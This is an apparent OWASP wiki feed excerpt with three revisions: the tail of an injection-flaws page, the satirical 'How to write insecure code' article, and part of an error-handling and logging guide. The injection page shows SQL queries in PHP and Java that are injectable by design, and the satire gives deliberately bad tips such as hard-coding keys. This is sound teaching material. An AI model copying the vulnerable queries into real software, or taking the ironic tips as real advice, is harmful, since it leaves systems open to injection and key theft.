&lt;br /&gt;
 ''PHP:''&lt;br /&gt;
    &amp;lt;code&amp;gt;$sql = &amp;quot;SELECT * FROM table WHERE id = '&amp;quot; . $_REQUEST['id'] . &amp;quot;'&amp;quot;; &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ''Java:''&lt;br /&gt;
    &amp;lt;code&amp;gt;String query = &amp;quot;SELECT user_id FROM user_data WHERE &lt;br /&gt;
         user_name = '&amp;quot; + req.getParameter(&amp;quot;userID&amp;quot;) + &amp;quot;' and &lt;br /&gt;
         user_password = '&amp;quot; + req.getParameter(&amp;quot;pwd&amp;quot;) +&amp;quot;'&amp;quot;;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Verifying Security ==&lt;br /&gt;
&lt;br /&gt;
The goal is to verify that user data cannot modify the meaning of commands and queries sent to any of the interpreters invoked by the application.&lt;br /&gt;
&lt;br /&gt;
Automated approaches: Many vulnerability scanning tools search for injection problems, particularly SQL injection. Static analysis tools that search for uses of unsafe interpreter APIs are useful, but frequently cannot verify that appropriate validation or encoding might be in place to protect against the vulnerability. If the application catches 501 / 500 internal server errors, or detailed database errors, it can significantly hamper automated tools, but the code may still be at risk. Automated tools may be able to detect LDAP / XML injections / XPath injections. &lt;br /&gt;
&lt;br /&gt;
Manual approaches: The most efficient and accurate approach is to check the code that invokes interpreters. The reviewer should verify the use of a safe API or that appropriate validation and/or encoding has occurred. Testing can be extremely time-consuming and with low coverageand spotty because the attack surface of most applications is so large.&lt;br /&gt;
&lt;br /&gt;
== Protection ==&lt;br /&gt;
&lt;br /&gt;
Avoid the use of interpreters when possible. If you must invoke an interpreter, the key method to avoid injections is the use of safe APIs, such as strongly typed parameterized queries and object relational mapping (ORM) libraries that are immune to injection (be careful here - Hibernate, for example is NOT immune to injection by itself. You have to use named parameters to be safe in Hibernate). These interfaces handle all data escaping, or do not require escaping. Note that while safe interfaces solve the problem, validation is still recommended in order to detect attacks.&lt;br /&gt;
&lt;br /&gt;
Using interpreters is dangerous, so it's worth it to take extra care, such as the following:&lt;br /&gt;
&lt;br /&gt;
*'''Input validation.''' Use a standard input validation mechanism to validate all input data for length, type, syntax, and business rules before accepting the data to be displayed or stored. Use an &amp;quot;accept known good&amp;quot; validation strategy. Reject invalid input rather than attempting to sanitize potentially hostile data. Do not forget that error messages might also include invalid data&lt;br /&gt;
*'''Use strongly typed parameterized query APIs''' with placeholder substitution markers, even when calling stored procedures&lt;br /&gt;
*'''Enforce least privilege''' when connecting to databases and other backend systems&lt;br /&gt;
*'''Avoid detailed error messages''' that are useful to an attacker&lt;br /&gt;
*'''Show care when using stored procedures''' since they are generally safe from SQL Injection. However, be careful as they can be injectable (such as via the use of exec() or concatenating arguments within the stored procedure) &lt;br /&gt;
*'''Do not use dynamic query interfaces''' (such as mysql_query() or similar)&lt;br /&gt;
*'''Do not use simple escaping functions''', such as PHP's addslashes() or character replacement functions like str_replace(&amp;quot;'&amp;quot;, &amp;quot;''&amp;quot;). These are weak and have been successfully exploited by attackers. For PHP, use mysql_real_escape_string() if using MySQL, or preferably use PDO which does not require escaping&lt;br /&gt;
*When using simple escape mechanisms, note that''' simple escaping functions cannot escape table names'''! Table names must be legal SQL, and thus are completely unsuitable for user supplied input&lt;br /&gt;
*'''Watch out for canonicalization errors.''' Inputs must be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked&lt;br /&gt;
Language specific recommendations:&lt;br /&gt;
&lt;br /&gt;
*Java EE - use strongly typed PreparedStatement, or ORMs such as Spring or named parameters within Hibernate.&lt;br /&gt;
*.NET - use strongly typed parameterized queries, such as SqlCommand with SqlParameter, or named parameters within Hibernate.&lt;br /&gt;
*PHP - use PDO with strongly typed parameterized queries (using bindParam()).&lt;br /&gt;
&lt;br /&gt;
== Samples  ==&lt;br /&gt;
&lt;br /&gt;
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121]    &lt;br /&gt;
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953]  &lt;br /&gt;
*[http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592] &lt;br /&gt;
&lt;br /&gt;
== Related Sites ==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Guide to SQL Injection]]&lt;br /&gt;
*[[SQL Injection Prevention Cheat Sheet]]&lt;br /&gt;
*[[Reviewing Code for SQL Injection]]&lt;br /&gt;
*[[Testing for SQL Injection (OWASP-DV-005)|Testing for SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
*CWE: CWE-89 (SQL Injection), CWE-77 (Command Injection), CWE-90 (LDAP Injection), CWE-91 (XML Injection), CWE-93 (CRLF Injection), others.&lt;br /&gt;
*WASC Threat Classification: [http://www.webappsec.org/projects/threat/classes/sql_injection.shtml (1) SQL Injection]  [http://www.webappsec.org/projects/threat/classes/ldap_injection.shtml (2) LDAP Injection] [http://www.webappsec.org/projects/threat/classes/os_commanding.shtml (3) OS Commanding]&lt;br /&gt;
*Advanced SQL Injection, [http://www.ngssoftware.com/papers/advanced_sql_injection.pdf http://www.ngssoftware.com/papers/advanced_sql_injection.pdf]    &lt;br /&gt;
*More Advanced SQL Injection, [http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf]&lt;br /&gt;
*Hibernate, an advanced object relational manager (ORM) for J2EE and .NET, [http://www.hibernate.org/ http://www.hibernate.org/] &lt;br /&gt;
*J2EE Prepared Statements, [http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html]&lt;br /&gt;
*How to: Protect from SQL injection in ASP.Net, [http://msdn2.microsoft.com/en-us/library/ms998271.aspx http://msdn2.microsoft.com/en-us/library/ms998271.aspx] &lt;br /&gt;
*PHP PDO functions, [http://php.net/pdo http://php.net/pdo]&lt;br /&gt;
*SQL Injection, http://packetstormsecurity.com/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Top_10_2007:BottomTemplate|usenext=NextLink|next=-Malicious File Execution-Finnish|useprev=PrevLink|prev=-Cross Site Scripting-Finnish|usemain=MainLink|main=_Finnish}}&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=How_to_write_insecure_code&amp;diff=151404</id>
		<title>How to write insecure code</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=How_to_write_insecure_code&amp;diff=151404"/>
				<updated>2013-05-12T17:14:50Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: Introduction&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Add to this Article==&lt;br /&gt;
&lt;br /&gt;
Help us out and add your favorite ways to discourage secure coding below.&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
&lt;br /&gt;
In the interest of ensuring that there will be a future for hackers, criminals, and others who want to destroy the digital future, this paper captures tips from the masters on how to create insecure code. With a little creative use of these tips, you can also ensure your own financial future. Be careful, you don't want to make your code look hopelessly insecure, or your insecurity may be uncovered and fixed.&lt;br /&gt;
&lt;br /&gt;
The idea for this article comes from Roedy Green's [http://mindprod.com/jgloss/unmain.html How to write unmaintainable code]. You may find the [http://thc.org/root/phun/unmaintain.html one page version more readable]. Actually, making your code unmaintainable is a great first step towards making it insecure and there are some great ideas in this article, particularly the section on camouflage. Also many thanks to Steven Christey from MITRE who contributed a bunch of particularly insecure items.&lt;br /&gt;
&lt;br /&gt;
''Special note for the slow to pick up on irony set. This essay is a '''joke'''! Developers and architects are often bored with lectures about how to write '''secure''' code. Perhaps this is another way to get the point across.''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Use this format for adding items to the list&lt;br /&gt;
; '''Title'''&lt;br /&gt;
: Details&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==General Principles==&lt;br /&gt;
&lt;br /&gt;
; '''Avoid the tools'''&lt;br /&gt;
: To ensure an application is forever insecure, you have to think about how security vulnerabilities are identified and remediated. Many software teams believe that automated tools can solve their security problems. So if you want to ensure vulnerabilities, simply make them difficult for automated tools to find. This is a lot easier than it sounds. All you have to do is make sure your vulnerabilities don't match anything in the tool's database of signatures. Your code can be as complex as you want, so it's pretty easy to avoid getting found. In fact, most inadvertent vulnerabilities can't be found by tools anyway.&lt;br /&gt;
&lt;br /&gt;
; '''Always use default deny'''&lt;br /&gt;
: Apply the principle of &amp;quot;Default Deny&amp;quot; when building your application. Deny that your code can ever be broken, deny vulnerabilities until there's a proven exploit, deny to your customers that there was ever anything wrong, and above all - deny responsibility for flaws. Blame the dirty cache buffers.&lt;br /&gt;
&lt;br /&gt;
; '''Be a shark'''&lt;br /&gt;
: Always be on the move.  Leave security problems to operations staff.&lt;br /&gt;
&lt;br /&gt;
==Complexity==&lt;br /&gt;
&lt;br /&gt;
; '''Distribute security mechanisms'''&lt;br /&gt;
: Security checks should be designed so that they are as distributed as possible throughout the codebase. Try not to follow a consistent pattern and don't make it easy to find all the places where the mechanism is used. This will virtually ensure that security is implemented inconsistently.&lt;br /&gt;
&lt;br /&gt;
; '''Spread the wealth'''&lt;br /&gt;
: Another great way to avoid being found is to make sure your security holes aren't located in one place in your code. It's very difficult for analysts to keep all of your code in their head, so by spreading out the holes you prevent anyone from finding or understanding them.&lt;br /&gt;
&lt;br /&gt;
; '''Use dynamic code'''&lt;br /&gt;
: The single best way to make it difficult for a security analyst (or security tool for that matter) to follow through an application and uncover a flaw is to use dynamic code. It can be almost impossible to trace the flow through code that is loaded at runtime. Features like reflection and classloading are beautiful features for hiding vulnerabilities. Enable as many &amp;quot;plugin&amp;quot; points as possible.&lt;br /&gt;
&lt;br /&gt;
==Secure Languages==&lt;br /&gt;
&lt;br /&gt;
; '''Type safety'''&lt;br /&gt;
: Means anything you enter at the keyboard is secure.&lt;br /&gt;
&lt;br /&gt;
; '''Secure languages'''&lt;br /&gt;
: Pick only programming languages that are completely safe and don't require any security knowledge or special programming to secure.&lt;br /&gt;
&lt;br /&gt;
; '''Mix languages'''&lt;br /&gt;
: Different languages have different security rules, so the more languages you include the more difficult it will be to learn them all. It's hard enough for development teams to even understand the security ramifications of one language, much less three or four. You can use the transitions between languages to hide vulnerabilities too.&lt;br /&gt;
&lt;br /&gt;
==Trust Relationships==&lt;br /&gt;
&lt;br /&gt;
; '''Rely on security checks done elsewhere'''&lt;br /&gt;
: It's redundant to do security checks twice, so if someone else says that they've done a check, there's no point in doing it again. When possible, it's probably best to just assume that others are doing security right, and not waste time doing it yourself. Web services and other service interfaces are generally pretty secure, so don't bother checking what you send or what they return.&lt;br /&gt;
&lt;br /&gt;
; '''Trust insiders'''&lt;br /&gt;
: Malicious input only comes from the Internet, and you can trust that all the data in your databases is perfectly validated, encoded, and sanitized for your purposes.&lt;br /&gt;
&lt;br /&gt;
; '''Share the love'''&lt;br /&gt;
: Drop your source code into repositories that are accessible by all within the company.  This also prevents having to email those hard-coded shared secrets around.&lt;br /&gt;
&lt;br /&gt;
; '''Ignore decoupling requirements'''&lt;br /&gt;
: Security is hard enough.  Don't listen when anyone says that point-to-point trust relationships undermine efforts to build decoupled systems.  They're only trying to sound smart and well read.&lt;br /&gt;
&lt;br /&gt;
==Logging==&lt;br /&gt;
&lt;br /&gt;
; '''Use your logs for debugging'''&lt;br /&gt;
: Nobody will be able to trace attacks on your code if you fill up the logs with debugging nonsense. Extra points for making your log messages undecipherable by anyone except you. Even more points if the log messages look as though they might be security relevant.&lt;br /&gt;
&lt;br /&gt;
; '''Don't use a logging framework'''&lt;br /&gt;
: The best approach to logging is just to write to stdout, or maybe to a file. Logging frameworks make the logs too easy to search and manage to be sure that nobody will ever review them.&lt;br /&gt;
&lt;br /&gt;
==Encryption==&lt;br /&gt;
&lt;br /&gt;
; '''Build your own encryption scheme'''&lt;br /&gt;
: The standard encryption mechanisms are way too complicated to use. It's much easier to make up an encryption algorithm that scrambles up secret stuff. You don't need to bother with a key or anything, just mix it all up and nobody will figure it out.&lt;br /&gt;
&lt;br /&gt;
; '''Hard-code your keys'''&lt;br /&gt;
: Hard-coding is the best way to retain control. This way those pesky operations folks won't be able to monkey with (they say &amp;quot;rotate&amp;quot;) the keys, and they'll be locked into the source code where only smart people can understand them.  This will also make it easier to move from environment to environment as the hard-coded key will be the same everywhere.  This in turn means your code is secure everywhere.&lt;br /&gt;
&lt;br /&gt;
; '''Smart coders don't read manuals'''&lt;br /&gt;
: Just keep adding bytes until the algorithm stops throwing exceptions.  Or just save yourself time and cut-and-paste from a popular coding site.  This looks like a good start: byte[] keyBytes = new byte[] { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17 };&lt;br /&gt;
&lt;br /&gt;
; '''Pack up your sensitive payload'''&lt;br /&gt;
: If you need to pass things that are sensitive, like passwords or PII, just pack it up in an encrypted blob.  Then just email the key to the developer who is coding the other side of the transaction, and punch out early.  This will also get you past Data Loss Prevention (DLP) tools which is a huge bonus.&lt;br /&gt;
&lt;br /&gt;
; '''Encryption is hard'''&lt;br /&gt;
: A great way to improve the security posture of your site is to use client-side JavaScript to encrypt passwords and other sensitive data that are submitted.  This can be used with or without HTTPS (TLS/SSL).  If you use it without HTTPS, you can save some money by skipping the annual purchase of a signed third party certificate.&lt;br /&gt;
&lt;br /&gt;
; '''HTTPS makes your application bullet proof'''&lt;br /&gt;
: If you use HTTPS encryption between your web application endpoint and the client, there is absolutely no way for anyone to steal any of the data that is transmitted.&lt;br /&gt;
&lt;br /&gt;
==Access Control==&lt;br /&gt;
===Authentication===&lt;br /&gt;
&lt;br /&gt;
; '''Build your own authentication scheme'''&lt;br /&gt;
: Authentication is simple, so just use your common sense and implement. Don't worry about esoteric stuff you hear about like session prediction, hashing credentials, brute force attacks, and so on. Only NSA eggheads could possibly ever figure that stuff out. And if users want to choose weak passwords, that's their own fault.&lt;br /&gt;
&lt;br /&gt;
; '''Sessions are inherantly secure'''&lt;br /&gt;
: Sessions timeout after 20 minutes, so don't worry about them. You can put the SESSIONID in the URL, log files, or wherever else you feel like. What could an attacker do with a SESSIONID anyway? It's just a bunch of random letters and numbers.&lt;br /&gt;
&lt;br /&gt;
; '''Single Sign-On is easy'''&lt;br /&gt;
: If you need to submit a username and password (or other secret knocks) from one site to another, pack it up in an encrypted blob as above.  This way if anyone finds the blob, they'll have a heck of a time decrypting it, which is what they'll need to do to be able to encrypt it again and create the blob themselves.&lt;br /&gt;
: A one-way hash cannot be decrypted.  Therefore, this is a way to take the latter approach and make it unbreakable.&lt;br /&gt;
&lt;br /&gt;
===Authorization===&lt;br /&gt;
&lt;br /&gt;
; '''Forget about it'''&lt;br /&gt;
: See [[How_to_write_insecure_code#Authentication|Authentication]].  Only ivory tower knuckleheads think there's a difference between authentication and authorization.&lt;br /&gt;
&lt;br /&gt;
; '''Just let your authorization scheme evolve'''&lt;br /&gt;
: It's really hard to figure out all the access control rules for your application, so use a '''just in time''' development methodology. This way you can just code up new rules when you figure them out. If you end up with hundreds or thousands of lines of authorization code scattered throughout your application, you're on the right track.&lt;br /&gt;
&lt;br /&gt;
; '''Privilege makes code just work'''&lt;br /&gt;
: Using the highest privilege levels makes your product easier to install and run.&lt;br /&gt;
&lt;br /&gt;
; '''Optimize the developer... always'''&lt;br /&gt;
: Each developer, independent of one another, must decide where authorization decision and enforcement is made.&lt;br /&gt;
&lt;br /&gt;
; '''Trust the client'''&lt;br /&gt;
: RIA clients and fat clients that use remote services can make decisions about what the end-user can or can't see.&lt;br /&gt;
&lt;br /&gt;
; '''Volunteer to authorize access to other systems'''&lt;br /&gt;
: When a service you are calling, for example, has inappropriate access controls just be nice and live with it.  After all it will be your fault when a direct object reference permits any user of your system to see any data on their service.  Should that happen, it will be a chance for you to show your dedication when you're up at 3 AM on a Saturday morning sorting out a breach.&lt;br /&gt;
&lt;br /&gt;
===Policy===&lt;br /&gt;
; '''Forget about it'''&lt;br /&gt;
: Policy can't be known until the user requests arrive.  Put authorization logic where you see fit.  Sometimes you need to roll it into the UI.  Sometimes it's in the data layer.  Sometimes it's both.    &lt;br /&gt;
: See [[How_to_write_insecure_code#Authentication|Authentication]].  Only ivory tower knuckleheads think that security requirements can be known at design time and expressed in a runtime-readable/declarative format.&lt;br /&gt;
&lt;br /&gt;
; '''The tool knows how to do it'''&lt;br /&gt;
: Let your authentication technology dictate your authorization requirements.&lt;br /&gt;
&lt;br /&gt;
==Input Validation==&lt;br /&gt;
&lt;br /&gt;
; '''Validation is for suckers'''&lt;br /&gt;
: Your application is already protected by a firewall, so you don't have to worry about attacks in user input. The security ''experts'' who keep nagging you are just looking to keep themselves in a job and know nothing about programming.&lt;br /&gt;
&lt;br /&gt;
; '''Let developers validate their way'''&lt;br /&gt;
: Don't bother with a standard way of doing validation, you're just cramping developer style. To create truly insecure code, you should try to validate as many different ways as possible, and in as many different places as possible.&lt;br /&gt;
&lt;br /&gt;
; '''Trust the client'''&lt;br /&gt;
: If the client doesn't, by design, produce wacky encoding, for example, then wacky encoding isn't a threat.&lt;br /&gt;
&lt;br /&gt;
==Documentation==&lt;br /&gt;
&lt;br /&gt;
; '''If you can build it and it appears to work then why describe it?'''&lt;br /&gt;
: The most successful applications do not waste time with requirements, security or otherwise.  Optimize the development by keeping the developers from having to read.&lt;br /&gt;
&lt;br /&gt;
; '''Security is just another option'''&lt;br /&gt;
: Assume that your sysadmins will RTFM and change the default settings you specified in a footnote on page 124.&lt;br /&gt;
&lt;br /&gt;
; '''Don't document how security works'''&lt;br /&gt;
: There is no point in writing down all the details of a security design. If someone wants to figure out if it works, they should check the code. After all, the code may change and then the documentation would be useless.&lt;br /&gt;
&lt;br /&gt;
; '''Freedom to innovate'''&lt;br /&gt;
: Standards are really just guidelines for you to add your own custom extensions.&lt;br /&gt;
&lt;br /&gt;
; '''Print is dead'''&lt;br /&gt;
: You already know everything about security, what else is there to learn? Books are for lamers, mailing lists and blogs are for media whores and FUD-tossing blowhards.&lt;br /&gt;
&lt;br /&gt;
==Coding==&lt;br /&gt;
&lt;br /&gt;
; '''Most APIs are safe'''&lt;br /&gt;
: Don't waste time poring through documentation for API functions. It's generally pretty safe to assume that APIs do proper validation, exception handling, logging, and thread safety.&lt;br /&gt;
&lt;br /&gt;
; '''Don't use security patterns'''&lt;br /&gt;
: Make sure there's no standard way of implementing validation, logging, error handling, etc... on your project. It's best when developers are left free to express themselves and channel their inner muse in their code. Avoid establishing any security coding guidelines, that'll just inhibit creativity.&lt;br /&gt;
&lt;br /&gt;
; '''Make sure the build process has lots of steps'''&lt;br /&gt;
: You want to maximize the number of steps in the build process that have to occur in the right order to make a successful build. It's best if only one person knows how to actually set up all the config files and build the distribution. If you do have steps written down, you should have lots of notes distributed across a bunch of files and howto's in lots of locations.&lt;br /&gt;
&lt;br /&gt;
==Testing==&lt;br /&gt;
&lt;br /&gt;
; '''Test with a browser'''&lt;br /&gt;
: All you need to test a web application is a browser. That way, you ensure that your code will work perfectly for all of your legitimate users.  And what do you care if it doesn't work for hackers, attackers, and criminals? Using a fancy security testing tool like [[WebScarab]] is a waste of your valuable time.&lt;br /&gt;
&lt;br /&gt;
; '''Don't use static analysis tools'''&lt;br /&gt;
: These tools aren't perfect, so just forget about them. Static analysis tools are likely to create annoying warning messages that will slow down your development time. Also they're a pain to learn, setup, and use.&lt;br /&gt;
&lt;br /&gt;
; '''Build test code into every module'''&lt;br /&gt;
: You should build test code throughout the application. That way you'll have it there in production in case anything goes wrong and you need to run it.&lt;br /&gt;
&lt;br /&gt;
; '''Security warnings are all false alarms'''&lt;br /&gt;
: Everyone knows that security warnings are all false alarms, so you can safely just ignore them. Why should you waste your valuable time chasing down possible problems when it's not your money on the line. If a tool doesn't produce perfect results, then just forget it.&lt;br /&gt;
&lt;br /&gt;
==Libraries==&lt;br /&gt;
&lt;br /&gt;
; '''Use lots of precompiled libraries'''&lt;br /&gt;
: Libraries are great because you don't have to worry about whether the code has any security issues. You can trust your business to just about any old library that you download off the Internet and include in your application. Don't worry about checking the source code, it's probably not available and it's too much trouble to recompile. And it would take way too long to check all that source code anyway.&lt;br /&gt;
&lt;br /&gt;
==Jedi Mind Tricks==&lt;br /&gt;
; '''Defensive Insecurity: Always be ready with a good offense.'''&lt;br /&gt;
===Your project is too important===&lt;br /&gt;
* This project is too important to consider these negative security findings.&lt;br /&gt;
&lt;br /&gt;
===You're too important===&lt;br /&gt;
* Don't you know who I am?&lt;br /&gt;
===They are not important===&lt;br /&gt;
* Who are you to question this?&lt;br /&gt;
===You know important people===&lt;br /&gt;
* I was having a beer with Joe Topexec yesterday, and he really wants to see this project online.&lt;br /&gt;
===Too late===&lt;br /&gt;
* This has to be released tomorrow night at 10 PM.  We have SLAs to satisfy.&lt;br /&gt;
===Vague references===&lt;br /&gt;
* We got approval from the security team over a year ago on this.&lt;br /&gt;
===Precedence===&lt;br /&gt;
* This has been done this way for 5 years so why does it matter now?&lt;br /&gt;
* Everyone else does it this way, why are you making me deal with it?&lt;br /&gt;
* Our competition has this vulnerability too, so it must not be important.&lt;br /&gt;
===Magical thinking===&lt;br /&gt;
* It's internal network only, so security doesn't matter.&lt;br /&gt;
* It's secure because it's over VPN.&lt;br /&gt;
* I thought the firewalls were supposed to do that.&lt;br /&gt;
* My application is different.&lt;br /&gt;
&lt;br /&gt;
[[Category:How To]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Error_Handling,_Auditing_and_Logging&amp;diff=151403</id>
		<title>Error Handling, Auditing and Logging</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Error_Handling,_Auditing_and_Logging&amp;diff=151403"/>
				<updated>2013-05-12T17:12:01Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: Further Reading&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__&lt;br /&gt;
&lt;br /&gt;
==Objective ==&lt;br /&gt;
&lt;br /&gt;
Many industries are required by legal and regulatory requirements to be:&lt;br /&gt;
&lt;br /&gt;
* Auditable – all activities that affect user state or balances are formally tracked&lt;br /&gt;
&lt;br /&gt;
* Traceable – it’s possible to determine where an activity occurs in all tiers of the application&lt;br /&gt;
&lt;br /&gt;
* High integrity – logs cannot be overwritten or tampered with by local or remote users&lt;br /&gt;
&lt;br /&gt;
Well-written applications will dual-purpose logs and activity traces for audit and monitoring, and make it easy to track a transaction without excessive effort or access to the system. They should possess the ability to easily track or identify potential fraud or anomalies end-to-end.&lt;br /&gt;
&lt;br /&gt;
==Environments Affected ==&lt;br /&gt;
&lt;br /&gt;
All.&lt;br /&gt;
&lt;br /&gt;
==Relevant COBIT Topics ==&lt;br /&gt;
&lt;br /&gt;
DS11 – Manage Data – All sections should be reviewed, but in particular:&lt;br /&gt;
&lt;br /&gt;
DS11.4 Source data error handling&lt;br /&gt;
&lt;br /&gt;
DS11.8 Data input error handling&lt;br /&gt;
&lt;br /&gt;
==Description ==&lt;br /&gt;
&lt;br /&gt;
Error handling, debug messages, auditing and logging are different aspects of the same topic: how to track events within an application:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
==Best practices ==&lt;br /&gt;
&lt;br /&gt;
* Fail safe – do not fail open&lt;br /&gt;
&lt;br /&gt;
* Dual purpose logs&lt;br /&gt;
&lt;br /&gt;
* Audit logs are legally protected – protect them&lt;br /&gt;
&lt;br /&gt;
* Reports and search logs using a read-only copy or complete replica &lt;br /&gt;
&lt;br /&gt;
==Error Handling ==&lt;br /&gt;
&lt;br /&gt;
Error handling takes two forms: structured exception handling and functional error checking. Structured exception handling is always preferred as it is easier to cover 100% of code. Functional languages, such as PHP 4, that do not have exceptions are very hard to cover 100% of all errors. Code that covers 100% of errors is extraordinarily verbose and difficult to read, and can contain subtle bugs and errors in the error handling code itself.&lt;br /&gt;
&lt;br /&gt;
Motivated attackers like to see error messages as they might leak information that leads to further attacks, or may leak privacy related information. Web application error handling is rarely robust enough to survive a penetration test. &lt;br /&gt;
&lt;br /&gt;
Applications should always fail safe. If an application fails to an unknown state, it is likely that an attacker may be able to exploit this indeterminate state to access unauthorized functionality, or worse create, modify or destroy data.&lt;br /&gt;
&lt;br /&gt;
===Fail safe ===&lt;br /&gt;
&lt;br /&gt;
* Inspect the application’s fatal error handler.&lt;br /&gt;
&lt;br /&gt;
* Does it fail safe? If so, how?&lt;br /&gt;
&lt;br /&gt;
* Is the fatal error handler called frequently enough?&lt;br /&gt;
&lt;br /&gt;
* What happens to in-flight transactions and ephemeral data?&lt;br /&gt;
&lt;br /&gt;
===Debug errors ===&lt;br /&gt;
&lt;br /&gt;
* Does production code contain debug error handlers or messages?  &lt;br /&gt;
&lt;br /&gt;
* If the language is a scripting language without effective pre-processing or compilation, can the debug flag be turned on in the browser?&lt;br /&gt;
&lt;br /&gt;
* Do the debug messages leak privacy related information, or information that may lead to further successful attack?&lt;br /&gt;
&lt;br /&gt;
===Exception handling ===&lt;br /&gt;
&lt;br /&gt;
* Does the code use structured exception handlers (try {} catch {} etc) or function-based error handling? &lt;br /&gt;
&lt;br /&gt;
* If the code uses function-based error handling, does it check every return value and handle the error appropriately?&lt;br /&gt;
&lt;br /&gt;
* Would fuzz injection against the average interface fail? &lt;br /&gt;
&lt;br /&gt;
===Functional return values ===&lt;br /&gt;
&lt;br /&gt;
Many languages indicate an error condition by return value. E.g.:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$query = mysql_query(“SELECT * FROM table WHERE id=4”, $conn);&lt;br /&gt;
&lt;br /&gt;
if ( $query === false ) {&lt;br /&gt;
&lt;br /&gt;
		// error&lt;br /&gt;
&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Are all functional errors checked? If not, what can go wrong?&lt;br /&gt;
&lt;br /&gt;
==Detailed error messages ==&lt;br /&gt;
&lt;br /&gt;
Detailed error messages provide attackers with a mountain of useful information.&lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable  ===&lt;br /&gt;
&lt;br /&gt;
* Are detailed error messages turned on? &lt;br /&gt;
&lt;br /&gt;
* Do the detailed error messages leak information that may be used to stage a further attack, or leak privacy related information? &lt;br /&gt;
&lt;br /&gt;
* Does the browser cache the error message?&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
Ensure that your application has a “safe mode” to which it can return if something truly unexpected occurs. If all else fails, log the user out and close the browser window.&lt;br /&gt;
&lt;br /&gt;
Production code should not be capable of producing debug messages. If it does, debug mode should be triggered by editing a file or configuration option on the server. In particular, debug should not enabled be an option in the application itself.&lt;br /&gt;
&lt;br /&gt;
If the framework or language has a structured exception handler (i.e. try {} catch {}), it should be used in preference to functional error handling.&lt;br /&gt;
&lt;br /&gt;
If the application uses functional error handling, its use must be comprehensive and thorough.&lt;br /&gt;
&lt;br /&gt;
Detailed error messages, such as stack traces or leaking privacy related information, should never be presented to the user. Instead a generic error message should be used. This includes HTTP status response codes (i.e. 404 or 500 Internal Server error).&lt;br /&gt;
&lt;br /&gt;
==Logging ==&lt;br /&gt;
&lt;br /&gt;
===Where to log to? ===&lt;br /&gt;
&lt;br /&gt;
Logs should be written so that the log file attributes are such that only new information can be written (older records cannot be rewritten or deleted). For added security, logs should also be written to a write once / read many device such as a CD-R.&lt;br /&gt;
&lt;br /&gt;
Copies of log files should be made at regular intervals depending on volume and size (daily, weekly, monthly, etc.).  A common naming convention should be adopted with regards to logs, making them easier to index. Verification that logging is still actively working is overlooked surprisingly often, and can be accomplished via a simple cron job!&lt;br /&gt;
&lt;br /&gt;
Make sure data is not overwritten.&lt;br /&gt;
&lt;br /&gt;
Log files should be copied and moved to permanent storage and incorporated into the organization's overall backup strategy.&lt;br /&gt;
&lt;br /&gt;
Log files and media should be deleted and disposed of properly and incorporated into an organization's shredding or secure media disposal plan. Reports should be generated on a regular basis, including error reporting and anomaly detection trending.&lt;br /&gt;
&lt;br /&gt;
Be sure to keep logs safe and confidential even when backed up.&lt;br /&gt;
&lt;br /&gt;
===Handling ===&lt;br /&gt;
&lt;br /&gt;
Logs can be fed into real time intrusion detection and performance and system monitoring tools. All logging components should be synced with a timeserver so that all logging can be consolidated effectively without latency errors. This time server should be hardened and should not provide any other services to the network.&lt;br /&gt;
&lt;br /&gt;
No manipulation, no deletion while analyzing.&lt;br /&gt;
&lt;br /&gt;
===General Debugging ===&lt;br /&gt;
&lt;br /&gt;
Logs are useful in reconstructing events after a problem has occurred, security related or not. Event reconstruction can allow a security administrator to determine the full extent of an intruder's activities and expedite the recovery process.&lt;br /&gt;
&lt;br /&gt;
===Forensics evidence ===&lt;br /&gt;
&lt;br /&gt;
Logs may in some cases be needed in legal proceedings to prove wrongdoing. In this case, the actual handling of the log data is crucial.&lt;br /&gt;
&lt;br /&gt;
===Attack detection ===&lt;br /&gt;
&lt;br /&gt;
